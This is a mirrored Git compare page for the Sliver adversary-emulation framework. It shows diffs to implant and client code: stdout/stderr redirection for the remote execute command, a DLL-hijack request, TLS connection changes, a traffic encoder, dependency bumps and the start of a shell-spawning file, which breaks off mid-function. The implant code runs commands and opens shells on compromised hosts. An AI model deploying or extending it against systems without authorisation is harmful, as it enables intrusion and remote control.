mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
31
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a998a571f9 | ||
|
|
ce3cee731c | ||
|
|
9e924efcb2 | ||
|
|
23309233a8 | ||
|
|
e107382d07 | ||
|
|
9ea9d1add8 | ||
|
|
bc5a622944 | ||
|
|
c24a37edcd | ||
|
|
536171e8ac | ||
|
|
4d17f0ed66 | ||
|
|
1e5bf9a39c | ||
|
|
18cb8d142d | ||
|
|
b3467e0512 | ||
|
|
8a1845baf8 | ||
|
|
00a2faf137 | ||
|
|
6fb3835e14 | ||
|
|
f3144eb919 | ||
|
|
83c5fad8eb | ||
|
|
bfe2013eb5 | ||
|
|
0923de192c | ||
|
|
c41e9dead0 | ||
|
|
e989ba581b | ||
|
|
7f9657f32d | ||
|
|
8cc3f1984a | ||
|
|
d337d4f13c | ||
|
|
75dd1b1a26 | ||
|
|
359746120a | ||
|
|
b08728765d | ||
|
|
cbfae11876 | ||
|
|
b7a814f0c5 | ||
|
|
572e717634 |
No files matched your search
@@ -550,6 +550,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("T", "token", false, "execute command with current token (windows only)")
|
||||
f.Bool("s", "silent", false, "don't print the command output")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
|
||||
f.String("o", "stdout", "", "remote path to redirect STDOUT to")
|
||||
f.String("e", "stderr", "", "remote path to redirect STDERR to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
"io/ioutil"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -78,7 +78,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
|
||||
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
|
||||
ReferenceDLLPath: referencePath,
|
||||
TargetLocation: targetPath,
|
||||
ReferenceDLL: localRefData,
|
||||
|
||||
@@ -36,15 +36,22 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
output := ctx.Flags.Bool("silent")
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
token := ctx.Flags.Bool("token")
|
||||
var exec *sliverpb.Execute
|
||||
var err error
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token {
|
||||
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
@@ -52,22 +59,35 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
} else if !output {
|
||||
combined := ""
|
||||
if stdout == "" {
|
||||
combined = exec.Stdout
|
||||
con.PrintInfof("Output:\n%s", exec.Stdout)
|
||||
} else {
|
||||
con.PrintInfof("StdOut saved at %s\n", stdout)
|
||||
}
|
||||
if !ignoreStderr && stderr == "" {
|
||||
combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
|
||||
con.PrintInfof("StdErr:\n%s", exec.Stderr)
|
||||
} else {
|
||||
con.PrintInfof("Stderr saved at %s\n", stderr)
|
||||
}
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
if exec.Result != "" {
|
||||
con.PrintInfof("Output:\n%s\n", exec.Result)
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Output:\n%s\n", exec.Result)
|
||||
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
|
||||
if ctx.Flags.Bool("loot") && 0 < len(combined) {
|
||||
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
|
||||
@@ -82,31 +82,6 @@ var (
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
|
||||
// validFormats = []string{
|
||||
// "bash",
|
||||
// "c",
|
||||
// "csharp",
|
||||
// "dw",
|
||||
// "dword",
|
||||
// "hex",
|
||||
// "java",
|
||||
// "js_be",
|
||||
// "js_le",
|
||||
// "num",
|
||||
// "perl",
|
||||
// "pl",
|
||||
// "powershell",
|
||||
// "ps1",
|
||||
// "py",
|
||||
// "python",
|
||||
// "raw",
|
||||
// "rb",
|
||||
// "ruby",
|
||||
// "sh",
|
||||
// "vbapplication",
|
||||
// "vbscript",
|
||||
// }
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
@@ -349,11 +324,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
|
||||
|
||||
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
|
||||
if _, ok := SupportedCompilerTargets[target]; !ok {
|
||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
|
||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
|
||||
console.Bold, target, console.Normal,
|
||||
)
|
||||
con.Printf("⚠️ Default implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Compile a Default build?"}
|
||||
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
|
||||
@@ -19,6 +19,7 @@ package transport
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"fmt"
|
||||
@@ -51,12 +52,13 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
|
||||
}
|
||||
creds := credentials.NewTLS(tlsConfig)
|
||||
options := []grpc.DialOption{
|
||||
grpc.WithTimeout(defaultTimeout),
|
||||
grpc.WithTransportCredentials(creds),
|
||||
grpc.WithBlock(),
|
||||
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
|
||||
}
|
||||
connection, err := grpc.Dial(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -81,17 +83,16 @@ func getTLSConfig(caCertificate string, certificate string, privateKey string) (
|
||||
RootCAs: caCertPool,
|
||||
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
|
||||
VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
|
||||
return rootOnlyVerifyCertificate(caCertificate, rawCerts)
|
||||
return RootOnlyVerifyCertificate(caCertificate, rawCerts)
|
||||
},
|
||||
}
|
||||
tlsConfig.BuildNameToCertificate()
|
||||
return tlsConfig, nil
|
||||
}
|
||||
|
||||
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the fucking certificate validation and re-implement everything.
|
||||
// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the certificate validation and re-implement everything.
|
||||
// https://github.com/golang/go/issues/21971
|
||||
func rootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
|
||||
roots := x509.NewCertPool()
|
||||
ok := roots.AppendCertsFromPEM([]byte(caCertificate))
|
||||
|
||||
+1
-1
@@ -20,7 +20,7 @@
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17"
|
||||
GARBLE_VER="1.17.0"
|
||||
GARBLE_VER="1.17.1"
|
||||
COFF_LOADER_VER="1.0.5"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
|
||||
+16
-1
@@ -32,7 +32,6 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
## Server
|
||||
|
||||
# server / website
|
||||
@@ -83,6 +82,22 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / configs
|
||||
if go test -tags=server ./server/configs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / console
|
||||
if go test -tags=server ./server/console ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / generate
|
||||
if go test -tags=server ./server/generate -timeout 6h ; then
|
||||
:
|
||||
|
||||
@@ -35,6 +35,7 @@ require (
|
||||
github.com/mattn/go-sqlite3 v1.14.5
|
||||
github.com/miekg/dns v1.1.35
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/sirupsen/logrus v1.7.0
|
||||
github.com/spf13/cobra v1.1.1
|
||||
@@ -53,7 +54,7 @@ require (
|
||||
gorm.io/driver/mysql v1.0.3
|
||||
gorm.io/driver/postgres v1.0.5
|
||||
gorm.io/driver/sqlite v1.1.3
|
||||
gorm.io/gorm v1.20.6
|
||||
gorm.io/gorm v1.21.14
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
)
|
||||
|
||||
@@ -63,6 +64,7 @@ require (
|
||||
github.com/VividCortex/ewma v1.1.1 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
@@ -83,7 +85,7 @@ require (
|
||||
github.com/jackc/pgtype v1.5.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.9.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.1 // indirect
|
||||
github.com/jinzhu/now v1.1.2 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
|
||||
@@ -64,6 +64,8 @@ github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24
|
||||
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
|
||||
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
||||
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
|
||||
@@ -276,6 +278,8 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
|
||||
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
|
||||
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
|
||||
github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
|
||||
github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
|
||||
@@ -372,6 +376,8 @@ github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6J
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
|
||||
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
|
||||
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
|
||||
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
|
||||
github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
|
||||
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
|
||||
@@ -697,6 +703,8 @@ gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
|
||||
gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
|
||||
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
|
||||
+1
-7
@@ -8,12 +8,6 @@ values such as X.509 certificates, etc. and compiles it to produce a binary.
|
||||
The implant code contains a lot of platform specific code too, which varies the features
|
||||
that will be supported on different platforms.
|
||||
|
||||
Platform agnostic code is implemented in `_default.go` files, and can be compiled for any
|
||||
Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
|
||||
valid Go compiler target but only contains very generic commands/features.
|
||||
|
||||
|
||||
### Adding Implant Features
|
||||
|
||||
Simply adding new files to this directory will not work (but you can edit existing files).
|
||||
In order to add new features you'll need to add the code to this directory AND update the
|
||||
`server/generate/srcfiles.go` which contains a list of files the server should render.
|
||||
+2
-2
@@ -14,5 +14,5 @@ require (
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
)
|
||||
github.com/pquerna/otp v1.3.0
|
||||
)
|
||||
@@ -69,6 +69,21 @@ func RandomEncoder() (int, Encoder) {
|
||||
return nonce, EncoderMap[encoderID]
|
||||
}
|
||||
|
||||
// RandomTxtEncoder - Get a random nonce identifier and a matching encoder
|
||||
func RandomTxtEncoder() (int, Encoder) {
|
||||
textEncoders := map[int]Encoder{
|
||||
EnglishEncoderID: English{},
|
||||
Base64EncoderID: Base64{},
|
||||
}
|
||||
keys := make([]int, 0, len(textEncoders))
|
||||
for k := range textEncoders {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
encoderID := keys[insecureRand.Intn(len(keys))]
|
||||
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
|
||||
return nonce, textEncoders[encoderID]
|
||||
}
|
||||
|
||||
// NopNonce - A NOP nonce identifies a request with no encoder/payload
|
||||
// any value where mod = 0
|
||||
func NopNonce() int {
|
||||
|
||||
@@ -20,6 +20,7 @@ package handlers
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"bufio"
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"errors"
|
||||
@@ -127,7 +128,13 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
func getDirList(target string) (string, []os.FileInfo, error) {
|
||||
dir, _ := filepath.Abs(target)
|
||||
dir, err := filepath.Abs(target)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("dir list failed to construct path %s", err)
|
||||
// {{end}}
|
||||
return "", nil, err
|
||||
}
|
||||
if _, err := os.Stat(dir); !os.IsNotExist(err) {
|
||||
files, err := ioutil.ReadDir(dir)
|
||||
return dir, files, err
|
||||
@@ -140,7 +147,7 @@ func rmHandler(data []byte, resp RPCResponse) {
|
||||
err := proto.Unmarshal(data, rmReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
log.Printf("error decoding message: %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
@@ -362,7 +369,11 @@ func uploadHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func executeHandler(data []byte, resp RPCResponse) {
|
||||
var (
|
||||
err error
|
||||
err error
|
||||
stdErr io.Writer
|
||||
stdOut io.Writer
|
||||
errWriter *bufio.Writer
|
||||
outWriter *bufio.Writer
|
||||
)
|
||||
execReq := &sliverpb.ExecuteReq{}
|
||||
err = proto.Unmarshal(data, execReq)
|
||||
@@ -377,9 +388,43 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
cmd := exec.Command(execReq.Path, execReq.Args...)
|
||||
|
||||
if execReq.Output {
|
||||
res, err := cmd.CombinedOutput()
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
stdOut = stdOutBuff
|
||||
if execReq.Stderr != "" {
|
||||
stdErrFile, err := os.Create(execReq.Stderr)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdErrFile.Close()
|
||||
errWriter = bufio.NewWriter(stdErrFile)
|
||||
stdErr = io.MultiWriter(errWriter, stdErrBuff)
|
||||
}
|
||||
if execReq.Stdout != "" {
|
||||
stdOutFile, err := os.Create(execReq.Stdout)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdOutFile.Close()
|
||||
outWriter = bufio.NewWriter(stdOutFile)
|
||||
stdOut = io.MultiWriter(outWriter, stdOutBuff)
|
||||
}
|
||||
cmd.Stdout = stdOut
|
||||
cmd.Stderr = stdErr
|
||||
err := cmd.Run()
|
||||
//{{if .Config.Debug}}
|
||||
log.Println(string(res))
|
||||
log.Println(string(stdOutBuff.String()))
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
// Exit errors are not a failure of the RPC, but of the command.
|
||||
@@ -391,7 +436,14 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
}
|
||||
execResp.Result = string(res)
|
||||
if errWriter != nil {
|
||||
errWriter.Flush()
|
||||
}
|
||||
if outWriter != nil {
|
||||
outWriter.Flush()
|
||||
}
|
||||
execResp.Stderr = stdErrBuff.String()
|
||||
execResp.Stdout = stdOutBuff.String()
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
// +build !windows !linux !darwin
|
||||
//go:build !(linux || darwin || windows)
|
||||
|
||||
package handlers
|
||||
|
||||
@@ -19,7 +19,11 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -224,7 +228,11 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
var (
|
||||
err error
|
||||
err error
|
||||
stdErr io.Writer
|
||||
stdOut io.Writer
|
||||
errWriter *bufio.Writer
|
||||
outWriter *bufio.Writer
|
||||
)
|
||||
execReq := &sliverpb.ExecuteReq{}
|
||||
err = proto.Unmarshal(data, execReq)
|
||||
@@ -244,9 +252,43 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
res, err := cmd.CombinedOutput()
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
stdOut = stdOutBuff
|
||||
if execReq.Stderr != "" {
|
||||
stdErrFile, err := os.Create(execReq.Stderr)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdErrFile.Close()
|
||||
errWriter = bufio.NewWriter(stdErrFile)
|
||||
stdErr = io.MultiWriter(errWriter, stdErrBuff)
|
||||
}
|
||||
if execReq.Stdout != "" {
|
||||
stdOutFile, err := os.Create(execReq.Stdout)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdOutFile.Close()
|
||||
outWriter = bufio.NewWriter(stdOutFile)
|
||||
stdOut = io.MultiWriter(outWriter, stdOutBuff)
|
||||
}
|
||||
cmd.Stdout = stdOut
|
||||
cmd.Stderr = stdErr
|
||||
err := cmd.Run()
|
||||
//{{if .Config.Debug}}
|
||||
log.Println(string(res))
|
||||
log.Println(string(stdOutBuff.String()))
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
// Exit errors are not a failure of the RPC, but of the command.
|
||||
@@ -258,7 +300,14 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
}
|
||||
execResp.Result = string(res)
|
||||
if errWriter != nil {
|
||||
errWriter.Flush()
|
||||
}
|
||||
if outWriter != nil {
|
||||
outWriter.Flush()
|
||||
}
|
||||
execResp.Stderr = stdErrBuff.String()
|
||||
execResp.Stdout = stdOutBuff.String()
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +build windows linux darwin
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +build windows linux darwin
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +build !darwin !windows !linux
|
||||
//go:build !(linux || darwin || windows)
|
||||
|
||||
package hostuuid
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +build !windows !linux !darwin
|
||||
//go:build !(linux || darwin || windows)
|
||||
|
||||
package limits
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
// +build !windows !linux !darwin
|
||||
//go:build !(linux || darwin || windows)
|
||||
|
||||
package proxy
|
||||
|
||||
// Copyright 2018, Rapid7, Inc.
|
||||
// License: BSD-3-clause
|
||||
@@ -13,8 +15,6 @@
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
@@ -0,0 +1,115 @@
|
||||
//go:build darwin || linux || freebsd || openbsd || dragonfly
|
||||
|
||||
package shell
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"os/exec"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
|
||||
)
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
bash = []string{"/bin/bash"}
|
||||
sh = []string{"/bin/sh"}
|
||||
)
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
|
||||
if enablePty {
|
||||
return ptyShell(tunnelID, command)
|
||||
}
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdin pipe failed\n")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
